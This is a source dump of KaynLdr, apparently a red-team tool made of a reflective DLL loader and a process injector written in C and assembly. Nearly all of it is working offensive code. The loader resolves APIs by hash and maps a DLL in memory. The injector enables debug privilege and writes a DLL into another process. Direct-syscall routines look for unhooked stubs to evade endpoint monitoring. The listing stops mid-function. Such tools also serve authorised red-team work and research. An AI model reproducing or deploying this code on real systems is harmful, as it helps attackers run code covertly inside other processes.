├── KaynInject
├── src
│ ├── Syscall.o
│ ├── Syscall.s
│ ├── Main.c
│ ├── Syscall.c
│ └── KaynInject.c
├── include
│ ├── Syscall.h
│ └── KaynInject.h
└── makefile
├── .idea
├── KaynLdr.iml
├── misc.xml
├── vcs.xml
├── discord.xml
├── modules.xml
└── workspace.xml
├── makefile
├── KaynLdr
├── makefile
├── include
│ ├── KaynLdr.h
│ ├── Macros.h
│ └── Win32.h
└── src
│ ├── Util.s
│ ├── DllMain.c
│ ├── KaynLdr.c
│ └── Win32.c
└── README.md
/KaynInject/src/Syscall.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cracked5pider/KaynLdr/HEAD/KaynInject/src/Syscall.o
--------------------------------------------------------------------------------
/.idea/KaynLdr.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/makefile:
--------------------------------------------------------------------------------
1 | MAKEFLAGS += -s
2 |
3 | x64:
4 | echo "[*] Compile Kayn x64 Reflective Loader"
5 | cd KaynLdr; $(MAKE) x64
6 | echo "[*] Compile Kayn x64 Injector"
7 | cd KaynInject; $(MAKE) x64
8 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/discord.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/KaynInject/include/Syscall.h:
--------------------------------------------------------------------------------
1 | #ifndef KAYNINJECT_SYSCALL_H
2 | #define KAYNINJECT_SYSCALL_H
3 |
4 | #include
5 |
6 | // Get syscall ID
7 | WORD GetSyscall( LPVOID, PIMAGE_EXPORT_DIRECTORY, DWORD );
8 |
9 | // Prepare and invoke syscall
10 | VOID SyscallPrepare( WORD );
11 | NTSTATUS SyscallInvoke();
12 |
13 | #endif
14 |
--------------------------------------------------------------------------------
/KaynInject/include/KaynInject.h:
--------------------------------------------------------------------------------
1 | #ifndef KAYNINJECT_KAYNINJECT_H
2 | #define KAYNINJECT_KAYNINJECT_H
3 |
4 | #include
5 |
6 | #define RVA_2_VA( T, B, R ) (T)( (PBYTE) B + R )
7 |
8 | DWORD HashStringA(PCHAR String);
9 | DWORD KaynOffset( LPVOID lpBuffer, DWORD dwKaynEntryHash );
10 | LPVOID KaynInject ( HANDLE hProcess, LPVOID lpBuffer, DWORD dwBufferSize, LPVOID lpParameter );
11 |
12 | #endif
13 |
--------------------------------------------------------------------------------
/KaynLdr/makefile:
--------------------------------------------------------------------------------
1 | MAKEFLAGS += -s
2 |
3 | COMPILER_x86 = i686-w64-mingw32-gcc
4 | COMPILER_x64 = x86_64-w64-mingw32-gcc
5 |
6 | CFLAGS = -s -w -Wall -Wextra -masm=intel -shared -fPIC -e DllMain -Os -fno-asynchronous-unwind-tables
7 |
8 | INCLUDE = -I include
9 | SOURCE = $(wildcard src/*.c)
10 |
11 | x64:
12 | nasm -f win64 src/Util.s -o src/Util.o
13 | $(COMPILER_x64) src/*.o $(INCLUDE) $(SOURCE) $(CFLAGS) -o ../bin/KaynLdr.x64.dll -lntdll -luser32 -DWIN_X64
14 | rm src/*.o
--------------------------------------------------------------------------------
/KaynInject/src/Syscall.s:
--------------------------------------------------------------------------------
1 | ; exported functions
2 | global SyscallPrepare
3 | global SyscallInvoke
4 |
5 | section .text
6 |
7 | ;; set syscall value in r11 register
8 | SyscallPrepare:
9 | nop
10 | xor r11, r11
11 | nop
12 | nop
13 | mov r11d, ecx
14 | ret
15 |
16 | ;; Invoke Syscall and pass given arguments
17 | SyscallInvoke:
18 | nop
19 | xor eax, eax
20 | mov r10, rcx
21 | nop
22 | mov eax, r11d
23 | nop
24 | syscall
25 | nop
26 | ret
--------------------------------------------------------------------------------
/KaynInject/makefile:
--------------------------------------------------------------------------------
1 | MAKEFLAGS += -s
2 |
3 | COMPILER_x86 = i686-w64-mingw32-gcc
4 | COMPILER_x64 = x86_64-w64-mingw32-gcc
5 |
6 | CFLAGS = -masm=intel
7 |
8 | INCLUDE = -I include
9 | SOURCE = $(wildcard src/*.c)
10 |
11 | %.o : %.s
12 | nasm -f win64 $< -o $@
13 |
14 | all: x64 x86
15 |
16 | x64: src/Syscall.o
17 | $(COMPILER_x64) src/*.o $(INCLUDE) $(SOURCE) $(CFLAGS) -o ../bin/KaynInject.x64.exe -DDEBUG -lntdll -DWIN_X64
18 |
19 | x86:
20 | $(COMPILER_x86) src/*.o $(INCLUDE) $(SOURCE) $(CFLAGS) -o ../bin/KaynInject.x86.exe -DDEBUG -lntdll
21 |
--------------------------------------------------------------------------------
/KaynLdr/include/KaynLdr.h:
--------------------------------------------------------------------------------
1 | /**
2 | * KaynLdr
3 | * Author: Paul Ungur (@C5pider)
4 | */
5 |
6 | #ifndef KAYNLDR_KAYNLDR_H
7 | #define KAYNLDR_KAYNLDR_H
8 |
9 | #include
10 | #include
11 | #include
12 |
13 | #define DLL_QUERY_HMODULE 6
14 |
15 | typedef struct {
16 |
17 | struct {
18 | WIN32_FUNC( LdrLoadDll );
19 | WIN32_FUNC( NtAllocateVirtualMemory )
20 | WIN32_FUNC( NtProtectVirtualMemory )
21 | } Win32;
22 |
23 | struct {
24 | PVOID Ntdll;
25 | } Modules ;
26 |
27 | } INSTANCE, *PINSTANCE ;
28 |
29 | LPVOID KaynCaller();
30 |
31 | #endif
32 |
--------------------------------------------------------------------------------
/KaynLdr/include/Macros.h:
--------------------------------------------------------------------------------
1 | #ifndef KAYNLDR_MACROS_H
2 | #define KAYNLDR_MACROS_H
3 |
4 | #define HASH_KEY 5381
5 |
6 | #ifdef WIN_X64
7 | #define PPEB_PTR __readgsqword( 0x60 )
8 | #else
9 | #define PPEB_PTR __readgsqword( 0x30 )
10 | #endif
11 |
12 | #define MemCopy __builtin_memcpy
13 | #define NTDLL_HASH 0x70e61753
14 |
15 | #define SYS_LDRLOADDLL 0x9e456a43
16 | #define SYS_NTALLOCATEVIRTUALMEMORY 0xf783b8ec
17 | #define SYS_NTPROTECTEDVIRTUALMEMORY 0x50e92888
18 |
19 | #define DLLEXPORT __declspec( dllexport )
20 | #define WIN32_FUNC( x ) __typeof__( x ) * x;
21 |
22 | #define U_PTR( x ) ( ( UINT_PTR ) x )
23 | #define C_PTR( x ) ( ( LPVOID ) x )
24 |
25 | #endif
26 |
--------------------------------------------------------------------------------
/KaynLdr/src/Util.s:
--------------------------------------------------------------------------------
1 | ; KaynLdr
2 | ; Author: Paul Ungur (@C5pider)
3 | ; Credits: Austin Hudson (@ilove2pwn_), Chetan Nayak (@NinjaParanoid), Bobby Cooke (@0xBoku), @trickster012
4 | ;
5 |
6 | global KaynCaller
7 |
8 | section .text
9 |
10 | ; Shameless copied from Bobby Cooke CobaltStrikeReflectiveLoader (https://github.com/boku7/CobaltStrikeReflectiveLoader)
11 | KaynCaller:
12 | call pop
13 | pop:
14 | pop rcx
15 | loop:
16 | xor rbx, rbx
17 | mov ebx, 0x5A4D
18 | dec rcx
19 | cmp bx, word ds:[ rcx ]
20 | jne loop
21 | xor rax, rax
22 | mov ax, [ rcx + 0x3C ]
23 | add rax, rcx
24 | xor rbx, rbx
25 | add bx, 0x4550
26 | cmp bx, word ds:[ rax ]
27 | jne loop
28 | mov rax, rcx
29 | ret
--------------------------------------------------------------------------------
/KaynLdr/include/Win32.h:
--------------------------------------------------------------------------------
1 | /**
2 | * KaynLdr
3 | * Author: Paul Ungur (@C5pider)
4 | */
5 |
6 | #ifndef KAYNLDR_WIN32_H
7 | #define KAYNLDR_WIN32_H
8 |
9 | #include
10 |
11 | typedef struct {
12 | WORD offset :12;
13 | WORD type :4;
14 | } *PIMAGE_RELOC;
15 |
16 | PVOID KGetModuleByHash( DWORD hash );
17 | PVOID KGetProcAddressByHash( PINSTANCE Instance, PVOID DllModuleBase, DWORD FunctionHash, DWORD Ordinal );
18 | PVOID KLoadLibrary( PINSTANCE Instance, LPSTR Module );
19 |
20 | VOID KResolveIAT( PINSTANCE Instance, PVOID KaynImage, PVOID IatDir );
21 | VOID KReAllocSections( PVOID KaynImage, PVOID ImageBase, PVOID Dir );
22 |
23 | DWORD KHashString( LPVOID String, SIZE_T Size );
24 | SIZE_T KStringLengthA( LPCSTR String );
25 | SIZE_T KStringLengthW( LPCWSTR String );
26 | VOID KMemSet( PVOID Destination, INT Value, SIZE_T Size );
27 | SIZE_T KCharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed );
28 |
29 | #endif
30 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | # KaynLdr
3 | ### About
4 | KaynLdr is a Reflective Loader written in C / ASM.
5 |
6 | ### Features
7 | - Erases the DOS and NT header
8 | - Library/Api used:
9 | - ntdll.dll
10 | - LdrLoadDll
11 | - NtAllocateVirtualMemory
12 | - NtProtectVirtualMemory
13 |
14 | ### TODO
15 | - Add Hooks
16 | - x86 support
17 |
18 | 
19 |
20 | ### Credits:
21 | - [@NinjaParanoid](https://twitter.com/NinjaParanoid): [PE Reflection: The King is Dead, Long Live the King](https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/)
22 | - [@0xBoku](https://twitter.com/0xBoku): [User Defined Cobalt Strike Loader](https://github.com/boku7/CobaltStrikeReflectiveLoader)
23 | - [@ilove2pwn_](https://twitter.com/ilove2pwn_): [TitanLdr](https://github.com/SecIdiot/TitanLdr)
24 | - [trickster0](https://twitter.com/trickster012) [TartarusGate](https://github.com/trickster0/TartarusGate/) direct syscall method
25 |
--------------------------------------------------------------------------------
/KaynLdr/src/DllMain.c:
--------------------------------------------------------------------------------
1 | /**
2 | * KaynLdr
3 | * Author: Paul Ungur (@C5pider)
4 | */
5 |
6 | #include
7 | #include
8 |
9 | HINSTANCE hAppInstance = NULL;
10 |
11 | BOOL WINAPI DllMain( HINSTANCE hInstDLL, DWORD dwReason, LPVOID lpReserved )
12 | {
13 | BOOL bReturnValue = TRUE;
14 |
15 | switch( dwReason )
16 | {
17 | case DLL_QUERY_HMODULE:
18 | if( lpReserved != NULL )
19 | *( HMODULE* ) lpReserved = hAppInstance;
20 | break;
21 |
22 | case DLL_PROCESS_ATTACH:
23 | {
24 | hAppInstance = hInstDLL;
25 |
26 | PCHAR HelloMsg = "Hello from KaynLdr";
27 | PCHAR Buffer = HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, strlen( HelloMsg ) + 1 );
28 |
29 | memcpy( Buffer, HelloMsg, strlen( HelloMsg ) + 1 );
30 |
31 | MessageBoxA( NULL, Buffer, "KaynLdr", MB_OK );
32 | HeapFree( GetProcessHeap(), 0, Buffer );
33 | memset( Buffer, 0, strlen( HelloMsg ) );
34 |
35 | ExitProcess( 0 );
36 | }
37 |
38 | case DLL_PROCESS_DETACH:
39 | case DLL_THREAD_ATTACH:
40 | case DLL_THREAD_DETACH:
41 | break;
42 | }
43 | return bReturnValue;
44 | }
--------------------------------------------------------------------------------
/KaynInject/src/Main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%ld", e, GetLastError() ); break; }
7 |
8 | int main( int argc, char * argv[] )
9 | {
10 | HANDLE hFile = NULL;
11 | HANDLE hModule = NULL;
12 | HANDLE hProcess = NULL;
13 | HANDLE hToken = NULL;
14 | LPVOID lpBuffer = NULL;
15 | DWORD dwLength = 0;
16 | DWORD dwBytesRead = 0;
17 | DWORD dwProcessId = 0;
18 | TOKEN_PRIVILEGES priv = {0};
19 | PCHAR cpDllFile = argv[2];
20 |
21 | do
22 | {
23 | if( argc == 1 )
24 | dwProcessId = GetCurrentProcessId();
25 | else
26 | dwProcessId = atoi( argv[1] );
27 |
28 | if( argc >= 3 )
29 | cpDllFile = argv[2];
30 |
31 | hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
32 | if( hFile == INVALID_HANDLE_VALUE )
33 | BREAK_WITH_ERROR( "Failed to open the DLL file" );
34 |
35 | dwLength = GetFileSize( hFile, NULL );
36 | if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
37 | BREAK_WITH_ERROR( "Failed to get the DLL file size" );
38 |
39 | lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
40 | if( !lpBuffer )
41 | BREAK_WITH_ERROR( "Failed to get the DLL file size" );
42 |
43 | if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
44 | BREAK_WITH_ERROR( "Failed to alloc a buffer!" );
45 |
46 | if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
47 | {
48 | priv.PrivilegeCount = 1;
49 | priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
50 |
51 | if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
52 | AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
53 |
54 | CloseHandle( hToken );
55 | }
56 |
57 | hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwProcessId );
58 | if( !hProcess )
59 | BREAK_WITH_ERROR( "Failed to open the target process" );
60 |
61 | hModule = KaynInject( hProcess, lpBuffer, dwLength, NULL );
62 | if( !hModule )
63 | BREAK_WITH_ERROR( "Failed to inject the DLL" );
64 |
65 | printf( "[+] Injected the '%s' DLL into process %ld.\n", cpDllFile, dwProcessId );
66 |
67 | WaitForSingleObject( hModule, -1 );
68 |
69 | } while( 0 );
70 |
71 | if( lpBuffer )
72 | HeapFree( GetProcessHeap(), 0, lpBuffer );
73 |
74 | if( hProcess )
75 | CloseHandle( hProcess );
76 |
77 | return 0;
78 | }
--------------------------------------------------------------------------------
/.idea/workspace.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | 1652611699037
76 |
77 |
78 | 1652611699037
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
--------------------------------------------------------------------------------
/KaynInject/src/Syscall.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | extern VOID SyscallPrepare( WORD );
6 | extern NTSTATUS SyscallInvoke();
7 |
8 | #define UP -32
9 | #define DOWN 32
10 |
11 | WORD GetSyscall( PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, DWORD FunctionSysHash )
12 | {
13 | PDWORD AddressOfFunctions = RVA_2_VA( PDWORD, pModuleBase, pImageExportDirectory->AddressOfFunctions );
14 | PDWORD AddressOfNames = RVA_2_VA( PDWORD, pModuleBase, pImageExportDirectory->AddressOfNames );
15 | PWORD AddressOfNameOrdinals = RVA_2_VA( PWORD, pModuleBase, pImageExportDirectory->AddressOfNameOrdinals );
16 |
17 | WORD wSystemCall = -1;
18 |
19 | for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++)
20 | {
21 | PCHAR pczFunctionName = RVA_2_VA( PCHAR, pModuleBase, AddressOfNames[cx] );
22 | PVOID pFunctionAddress = (PBYTE)pModuleBase + AddressOfFunctions[AddressOfNameOrdinals[cx]];
23 |
24 | if ( HashStringA(pczFunctionName) == FunctionSysHash )
25 | {
26 | if (*((PBYTE)pFunctionAddress) == 0x4c
27 | && *((PBYTE)pFunctionAddress + 1) == 0x8b
28 | && *((PBYTE)pFunctionAddress + 2) == 0xd1
29 | && *((PBYTE)pFunctionAddress + 3) == 0xb8
30 | && *((PBYTE)pFunctionAddress + 6) == 0x00
31 | && *((PBYTE)pFunctionAddress + 7) == 0x00)
32 | {
33 | __builtin_memcpy(&wSystemCall, (pFunctionAddress + 4), 2);
34 | return wSystemCall;
35 | }
36 |
37 | if (*((PBYTE)pFunctionAddress) == 0xe9)
38 | {
39 | for (WORD idx = 1; idx <= 500; idx++)
40 | {
41 | if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c
42 | && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b
43 | && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1
44 | && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8
45 | && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00
46 | && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00)
47 | {
48 | __builtin_memcpy(&wSystemCall, (pFunctionAddress + 4 + idx * DOWN), 2);
49 | return wSystemCall;
50 |
51 | }
52 |
53 | if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c
54 | && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b
55 | && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1
56 | && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8
57 | && *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00
58 | && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00)
59 | {
60 | __builtin_memcpy(&wSystemCall, (pFunctionAddress + 4 + idx * UP), 2);
61 | return wSystemCall;
62 | }
63 |
64 | }
65 | return FALSE;
66 | }
67 | if (*((PBYTE)pFunctionAddress + 3) == 0xe9)
68 | {
69 | for (WORD idx = 1; idx <= 500; idx++)
70 | {
71 | if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c
72 | && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b
73 | && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1
74 | && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8
75 | && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00
76 | && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00)
77 | {
78 | __builtin_memcpy(&wSystemCall, (pFunctionAddress + 4 + idx * DOWN), 2);
79 | return wSystemCall;
80 | }
81 |
82 | if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c
83 | && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b
84 | && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1
85 | && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8
86 | && *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00
87 | && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00)
88 | {
89 | __builtin_memcpy(&wSystemCall, (pFunctionAddress + 4 + idx * UP), 2);
90 | return wSystemCall;
91 | }
92 |
93 | }
94 | return -1;
95 | }
96 | }
97 | }
98 | }
--------------------------------------------------------------------------------
/KaynLdr/src/KaynLdr.c:
--------------------------------------------------------------------------------
1 | /**
2 | * KaynLdr
3 | * Author: Paul Ungur (@C5pider)
4 | */
5 |
6 | #include
7 | #include
8 | #include
9 |
10 | DLLEXPORT VOID KaynLoader( LPVOID lpParameter )
11 | {
12 | INSTANCE Instance = { 0 };
13 | HMODULE KaynLibraryLdr = NULL;
14 | PIMAGE_NT_HEADERS NtHeaders = NULL;
15 | PIMAGE_SECTION_HEADER SecHeader = NULL;
16 | LPVOID KVirtualMemory = NULL;
17 | DWORD KMemSize = 0;
18 | PVOID SecMemory = NULL;
19 | PVOID SecMemorySize = 0;
20 | DWORD Protection = 0;
21 | ULONG OldProtection = 0;
22 | PIMAGE_DATA_DIRECTORY ImageDir = NULL;
23 |
24 | // 0. First we need to get our own image base
25 | KaynLibraryLdr = KaynCaller();
26 |
27 | // ------------------------
28 | // 1. Load needed Functions
29 | // ------------------------
30 | Instance.Modules.Ntdll = KGetModuleByHash( NTDLL_HASH );
31 |
32 | Instance.Win32.LdrLoadDll = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_LDRLOADDLL, 0 );
33 | Instance.Win32.NtAllocateVirtualMemory = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_NTALLOCATEVIRTUALMEMORY, 0 );
34 | Instance.Win32.NtProtectVirtualMemory = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_NTPROTECTEDVIRTUALMEMORY, 0 );
35 |
36 | // ---------------------------------------------------------------------------
37 | // 2. Allocate virtual memory and copy headers and section into the new memory
38 | // ---------------------------------------------------------------------------
39 | NtHeaders = C_PTR( KaynLibraryLdr + ( ( PIMAGE_DOS_HEADER ) KaynLibraryLdr )->e_lfanew );
40 | KMemSize = NtHeaders->OptionalHeader.SizeOfImage;
41 |
42 | if ( NT_SUCCESS( Instance.Win32.NtAllocateVirtualMemory( NtCurrentProcess(), &KVirtualMemory, 0, &KMemSize, MEM_COMMIT, PAGE_READWRITE ) ) )
43 | {
44 | // ---- Copy Sections into new allocated memory ----
45 | SecHeader = IMAGE_FIRST_SECTION( NtHeaders );
46 | for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ )
47 | {
48 | MemCopy(
49 | C_PTR( KVirtualMemory + SecHeader[ i ].VirtualAddress ), // Section New Memory
50 | C_PTR( KaynLibraryLdr + SecHeader[ i ].PointerToRawData ), // Section Raw Data
51 | SecHeader[ i ].SizeOfRawData // Section Size
52 | );
53 | }
54 |
55 | // ----------------------------------
56 | // 3. Process our images import table
57 | // ----------------------------------
58 | ImageDir = & NtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
59 | if ( ImageDir->VirtualAddress )
60 | KResolveIAT( &Instance, KVirtualMemory, C_PTR( KVirtualMemory + ImageDir->VirtualAddress ) );
61 |
62 | // ----------------------------
63 | // 4. Process image relocations
64 | // ----------------------------
65 | ImageDir = & NtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
66 | if ( ImageDir->VirtualAddress )
67 | KReAllocSections( KVirtualMemory, NtHeaders->OptionalHeader.ImageBase, C_PTR( KVirtualMemory + ImageDir->VirtualAddress ) );
68 |
69 | // ----------------------------------
70 | // 5. Set protection for each section
71 | // ----------------------------------
72 | for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ )
73 | {
74 | SecMemory = C_PTR( KVirtualMemory + SecHeader[ i ].VirtualAddress );
75 | SecMemorySize = SecHeader[ i ].SizeOfRawData;
76 | Protection = 0;
77 | OldProtection = 0;
78 |
79 | if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE )
80 | Protection = PAGE_WRITECOPY;
81 |
82 | if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ )
83 | Protection = PAGE_READONLY;
84 |
85 | if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) )
86 | Protection = PAGE_READWRITE;
87 |
88 | if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE )
89 | Protection = PAGE_EXECUTE;
90 |
91 | if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) )
92 | Protection = PAGE_EXECUTE_WRITECOPY;
93 |
94 | if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) )
95 | Protection = PAGE_EXECUTE_READ;
96 |
97 | if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) )
98 | Protection = PAGE_EXECUTE_READWRITE;
99 |
100 | Instance.Win32.NtProtectVirtualMemory( NtCurrentProcess(), &SecMemory, &SecMemorySize, Protection, &OldProtection );
101 | }
102 |
103 | // --------------------------------
104 | // 6. Finally executing our DllMain
105 | // --------------------------------
106 | BOOL ( WINAPI *KaynDllMain ) ( PVOID, DWORD, PVOID ) = C_PTR( KVirtualMemory + NtHeaders->OptionalHeader.AddressOfEntryPoint );
107 | KaynDllMain( KVirtualMemory, DLL_PROCESS_ATTACH, lpParameter );
108 | }
109 | }
--------------------------------------------------------------------------------
/KaynInject/src/KaynInject.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include
5 | #include
6 |
7 | DWORD HashStringA(PCHAR String)
8 | {
9 | ULONG Hash = 5381;
10 | INT c;
11 |
12 | while (c = *String++)
13 | Hash = ((Hash << 5) + Hash) + c;
14 |
15 | return Hash;
16 | }
17 |
18 | DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
19 | {
20 | WORD wIndex = 0;
21 | PIMAGE_SECTION_HEADER pSectionHeader = NULL;
22 | PIMAGE_NT_HEADERS pNtHeaders = NULL;
23 |
24 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
25 |
26 | pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
27 |
28 | if( dwRva < pSectionHeader[0].PointerToRawData )
29 | return dwRva;
30 |
31 | for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
32 | {
33 | if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
34 | return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
35 | }
36 |
37 | return 0;
38 | }
39 |
40 | DWORD KaynOffset( LPVOID lpReflectiveDllBuffer, DWORD dwKaynEntryHash )
41 | {
42 | UINT_PTR uiBaseAddress = 0;
43 | UINT_PTR uiExportDir = 0;
44 | UINT_PTR uiNameArray = 0;
45 | UINT_PTR uiAddressArray = 0;
46 | UINT_PTR uiNameOrdinals = 0;
47 | DWORD dwCounter = 0;
48 |
49 | uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
50 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
51 |
52 | uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
53 | uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
54 | uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
55 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
56 | uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );
57 |
58 | dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
59 |
60 | while( dwCounter-- )
61 | {
62 | PCHAR cpExportedFunctionName = (PCHAR)(uiBaseAddress + Rva2Offset( *(PDWORD)uiNameArray, uiBaseAddress ));
63 |
64 | if( HashStringA(cpExportedFunctionName) == dwKaynEntryHash )
65 | {
66 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
67 | uiAddressArray += ( *(PWORD)uiNameOrdinals * sizeof(DWORD) );
68 |
69 | return Rva2Offset( *(PDWORD)uiAddressArray, uiBaseAddress );
70 | }
71 |
72 | uiNameArray += sizeof(DWORD);
73 | uiNameOrdinals += sizeof(WORD);
74 | }
75 |
76 | return 0;
77 | }
78 |
79 | LPVOID KaynInject( HANDLE hProcess, LPVOID lpBuffer, DWORD dwBufferSize, LPVOID lpParameter )
80 | {
81 | LPVOID lpRemoteLibraryBuffer = NULL;
82 | LPTHREAD_START_ROUTINE lpKaynLoader = NULL;
83 | HANDLE hThread = NULL;
84 | DWORD dwKaynLoaderOffset = 0;
85 | DWORD dwOldProtection = 0;
86 | DWORD dwVirtualSize = dwBufferSize;
87 |
88 | #ifdef WIN_X64
89 | PPEB pPeb = (PPEB)__readgsqword( 0x60 );
90 | #else
91 | PPEB pPeb = (PPEB)__readgsqword( 0x30 );
92 | #endif
93 |
94 | PLDR_DATA_TABLE_ENTRY pLdrDataEntry = ( PLDR_DATA_TABLE_ENTRY )( (PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10 );
95 | PIMAGE_NT_HEADERS pImageNtHeaders = RVA_2_VA( PIMAGE_NT_HEADERS, pLdrDataEntry->DllBase, ((PIMAGE_DOS_HEADER)pLdrDataEntry->DllBase)->e_lfanew );
